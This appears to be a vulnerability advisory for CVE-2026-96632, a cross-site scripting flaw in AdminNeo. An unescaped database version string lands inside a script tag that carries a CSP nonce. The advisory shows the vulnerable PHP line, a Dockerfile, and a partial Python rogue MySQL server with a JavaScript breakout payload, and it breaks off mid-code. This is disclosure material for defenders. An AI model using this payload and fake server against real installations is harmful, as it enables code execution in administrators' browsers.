CVE-2026-96632

## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I